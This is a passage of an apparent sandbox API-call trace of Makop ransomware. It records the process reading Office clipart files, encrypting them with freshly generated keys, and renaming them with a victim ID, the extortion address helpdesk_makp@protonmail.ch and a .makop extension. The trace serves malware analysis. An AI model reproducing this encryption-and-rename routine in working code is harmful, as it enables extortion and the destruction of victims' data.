dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0117.438] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0117.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.439] GetProcessHeap () returned 0x48a0000 [0117.439] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.440] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.440] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.440] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.444] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.444] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.444] GetProcessHeap () returned 0x48a0000 [0117.445] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.445] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.445] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.445] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.445] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.445] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.445] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.445] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.446] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.446] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.446] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.446] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9b8, lpOverlapped=0x0) returned 1 [0117.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c0) returned 1 [0117.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.446] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9c0, lpOverlapped=0x0) returned 1 [0117.447] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.447] SetEndOfFile (hFile=0xf0) returned 1 [0117.454] GetProcessHeap () returned 0x48a0000 [0117.454] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.454] GetProcessHeap () returned 0x48a0000 [0117.454] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.454] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.455] CloseHandle (hObject=0xf0) returned 1 [0117.456] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0117.456] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0117.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.456] GetProcessHeap () returned 0x48a0000 [0117.456] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.456] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0117.461] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.461] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.461] GetProcessHeap () returned 0x48a0000 [0117.461] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.461] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.461] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.461] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.461] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.462] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.462] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.462] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.462] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.462] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.462] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x150a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x150a, lpOverlapped=0x0) returned 1 [0117.464] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1510, dwBufLen=0x1510 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1510) returned 1 [0117.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1510, lpOverlapped=0x0) returned 1 [0117.464] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.465] SetEndOfFile (hFile=0xf0) returned 1 [0117.471] GetProcessHeap () returned 0x48a0000 [0117.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.472] GetProcessHeap () returned 0x48a0000 [0117.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.472] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.474] CloseHandle (hObject=0xf0) returned 1 [0117.474] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0117.474] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0117.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.476] GetProcessHeap () returned 0x48a0000 [0117.476] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.476] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.476] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0117.482] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.482] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.482] GetProcessHeap () returned 0x48a0000 [0117.482] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.482] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.482] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.482] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.482] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.483] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.483] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.483] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.483] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.483] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe16, lpOverlapped=0x0) returned 1 [0117.483] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0117.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.484] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0117.484] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.484] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.484] SetEndOfFile (hFile=0xf0) returned 1 [0117.491] GetProcessHeap () returned 0x48a0000 [0117.491] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.491] GetProcessHeap () returned 0x48a0000 [0117.491] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.491] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.493] CloseHandle (hObject=0xf0) returned 1 [0117.493] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0117.493] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0117.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.494] GetProcessHeap () returned 0x48a0000 [0117.494] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.494] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.494] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.495] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.500] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.500] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.500] GetProcessHeap () returned 0x48a0000 [0117.500] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.500] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.500] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.501] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.501] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.501] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.501] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.501] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.501] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.501] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.502] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23c2, lpOverlapped=0x0) returned 1 [0117.503] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23d0, dwBufLen=0x23d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23d0) returned 1 [0117.503] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.503] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23d0, lpOverlapped=0x0) returned 1 [0117.504] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.504] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x24a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.504] SetEndOfFile (hFile=0xf0) returned 1 [0117.510] GetProcessHeap () returned 0x48a0000 [0117.510] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.510] GetProcessHeap () returned 0x48a0000 [0117.510] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.510] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 